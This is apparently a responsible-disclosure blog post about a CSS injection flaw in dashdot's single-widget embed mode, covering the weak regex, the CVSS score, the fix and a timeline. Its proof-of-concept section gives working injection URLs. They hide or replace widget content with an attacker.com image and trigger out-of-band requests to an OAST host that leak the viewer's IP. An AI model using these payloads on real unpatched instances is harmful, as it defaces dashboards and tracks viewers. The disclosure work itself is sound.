CSS Injection in dashdot's Single-Widget Embed Mode

If you run a home lab or a self-hosted setup, there is a good chance you have come across dashdot. It is a slick, glassmorphism-style server monitoring dashboard that shows you CPU load, RAM usage, network stats, and more in real time. It also has a handy single-widget embed mode, where you can pull out an individual chart and drop it into another page via an iframe. That embed mode is exactly where this vulnerability lives.

What is the Bug?

The short version: several URL query parameters accepted by the single-widget mode are validated by a regex that is far too permissive, and the values are then dropped directly into styled-components CSS template literals without any further sanitization. That means you can inject arbitrary CSS properties just by crafting a URL.

The affected parameters are:

URL Parameter CSS Property It Controls
textOffset margin-left, margin-top
textSize font-size
gap gap on the chart grid container
innerRadius border-radius on chart cards

How the Validator Fails

The validation lives in apps/view/src/services/query-params.ts:

const sizeRegex = /^\d+\D+$/;
const extractSizeValue = (input?: string) =>
  input ? (sizeRegex.test(input) ? input : `${input}px`) : undefined;

The regex /^\d+\D+$/ checks that the string starts with one or more digits and ends with one or more non-digit characters. That is it. It does not reject semicolons, colons, curly braces, or any other CSS syntax character. So a value like 1px;display:none happily passes the check and gets returned as-is.

The validated value then flows into a styled-components template literal:

// chart-container.tsx
margin-top: ${({ $offset }) => $offset ?? 'min(13%, 30px)'};
font-size:  ${({ $size })   => $size   ?? 'unset'};

// single-widget-chart.tsx
gap:           ${({ gap })    => gap    ?? '12px'};
border-radius: ${({ radius }) => radius ?? '10px'};

styled-components does not sanitize string interpolations. It takes whatever you give it and puts it straight into the generated CSS rule. The resulting CSS block in the browser ends up looking something like this:

.sc-abc123 > div > div {
  gap: 1px;
  display: none;   /* injected */
}

One Gotcha

The regex does catch one category of payload: anything where the injected portion contains a digit character. \D+$ means every character after the leading number must be a non-digit. So 1px;top:0 fails because 0 is a digit, and 1px;background:url(http://evil.com/600x400) fails because 600 and 400 are digits.

This means payloads need to be crafted to avoid digits in the injected CSS, which rules out some things but leaves plenty of room to work with.

Proof of Concept

All of the following URLs were tested against a local dashdot instance.

Invert all chart colors:

http://<host>/?graph=cpu&gap=1px;filter:invert()

Hide the entire widget:

http://<host>/?graph=cpu&gap=1px;display:none

Replace dashboard content with an attacker-controlled image:

http://<host>/?graph=cpu&gap=1px;background-image:url(//attacker.com/img.jpg);background-size:contain;background-repeat:no-repeat;background-position:center&innerRadius=1px;display:none

Two injection points work together here. The gap parameter sets the background image on the outer grid container, and innerRadius hides all the chart card children with display:none. The container keeps its height: 100vh; width: 100vw dimensions even with all children hidden, so the background image fills the space cleanly.

Attacker-controlled image displayed in place of the CPU widget

Legitimate dashboard content hidden, replaced with external image

Trigger an out-of-band HTTP request (viewer IP leak):

http://<host>/?graph=cpu&gap=1px;background-image:url(//your-oast-host.com/x)

The browser fetches a background-image URL at CSS parse time, regardless of whether the element is visually visible or covered by other content. Pointing this at a Burp Collaborator or interactsh listener shows the victim’s IP address, User-Agent, and request timing in the polling output. The request fires even though the chart SVG renders on top of the background, making this work silently.

Note that the OAST hostname you use must be digit-free due to the regex constraint, so keep regenerating a Burp Collaborator payload until you get one with no numbers in the subdomain.

Why Single-Widget Mode Makes This Worse

The single-widget mode (?graph=cpu, ?graph=ram, etc.) is explicitly designed for embedding dashdot charts into other dashboards via <iframe>. The dashdot docs walk you through setting up these embed URLs. That means a malicious src URL on an iframe is a completely normal-looking thing to share, and anyone viewing the embedding page becomes the victim without needing to click anything unusual.

CVSS Score

6.3 (Medium), CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L

Metric Value Rationale
Attack Vector Network Delivered via crafted URL
Attack Complexity Low No special conditions required
Privileges Required None No authentication needed
User Interaction Required Victim must visit the crafted URL
Scope Unchanged Stays within the browser page context
Confidentiality Low Viewer IP leaked via background-image request
Integrity Low Visual content can be fully replaced by attacker
Availability Low Widget can be made visually blank via display:none

The Integrity and Availability scores are the most debatable here. If you score strictly by server-side data impact, both could reasonably be None, putting the score somewhere between 4.3 and 6.3 depending on interpretation. Either way it stays in the Medium band.

The Fix

The validator regex needs to be replaced with something that actually restricts input to valid CSS dimension values and rejects semicolons and other CSS syntax characters:

// Before
const sizeRegex = /^\d+\D+$/;

// After: only allow a number followed by a known CSS unit, nothing else
const sizeRegex = /^\d+(\.\d+)?(px|rem|em|%|vw|vh|vmin|vmax|pt)$/;

This rejects any value containing ;, {, }, :, or anything else that could smuggle in additional CSS properties.

Timeline

Date Event
2026-02-21 Vulnerability discovered and reported via GitHub issue #1378
2026-02-23 Maintainer acknowledged the report and committed fix a92f6e0 (“fix: sanitize css inputs for widgets”)
2026-02-24 Issue closed
2026-02-24 dashdot v6.3.0 released with the patch

Shout out to MauriceNino for the fast turnaround, from report to patched release in three days is pretty solid.

Wrapping Up

This is a good reminder that client-side validation needs to be precise, not just broadly shaped. A regex that checks “starts with a number, ends with something else” leaves a lot of room for creativity. When those values flow into CSS template literals without a second look, the door opens for injection.

dashdot is a great project and the single-widget embed mode is a genuinely useful feature. If you are running an older version, upgrading to v6.3.0 takes care of this one.

comments powered by Disqus